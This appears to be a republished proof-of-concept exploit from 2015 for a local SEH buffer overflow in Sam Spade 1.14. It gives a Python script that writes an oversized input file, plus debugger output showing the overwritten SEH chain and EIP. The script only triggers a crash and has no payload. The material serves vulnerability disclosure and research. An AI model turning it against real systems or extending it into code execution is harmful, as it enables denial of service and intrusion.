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Sam Spade 1.14 - Scan From IP Address Field SEH Overflow Crash PoC
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来源：l4m5@hotmail.com 作者：Martínez 发布时间：2015-11-02
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#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title : Sam Spade 1.14 Scan from IP address Field SEH Overflow Crash PoC
# Discovery by : Luis Martínez
# Email : l4m5@hotmail.com
# Discovery Date : 20/10/2015
# Vendor Homepage : http://samspade.org
# Software Link : http://www.majorgeeks.com/files/details/sam_spade.html
# Tested Version : 1.14
# Vulnerability Type : Denial of Service (DoS) Local
# Tested on OS : Windows XP Professional SP3 x86 es
# Crash Point : Go to Tools > Scan addresses field > Enter the contents of 'samspade_1.14_BoF.txt' > OK
##########################################################################################
# -----------------------------------NOTES----------------------------------------------#
##########################################################################################
# After the execution of POC, the SEH chain looks like this:
# 0012EBE0 43434343
# 42424242 *** CORRUPT ENTRY ***
# And the Stack
#0012EBD0 41414141 AAAA
#0012EBD4 41414141 AAAA
#0012EBD8 41414141 AAAA
#0012EBDC 41414141 AAAA
#0012EBE0 42424242 BBBB Pointer to next SEH record
#0012EBE4 43434343 CCCC SE handler
# And the Registers
#EAX 00000001
#ECX 00000001
#EDX 00140608
#EBX 00000000
#ESP 0012EBD0 ASCII "AAAAAAAAAAAAAAAABBBBCCCC - "
#EBP 41414141
#ESI 00C2BD00
#EDI 00E89DB0
#EIP 41414141
buffer = "\x41" * 531
nseh = "\x42" * 4
seh = "\x43" * 4
f = open ("samspade_1.14_BoF.txt", "w")
f.write(buffer+nseh+seh)
f.close()
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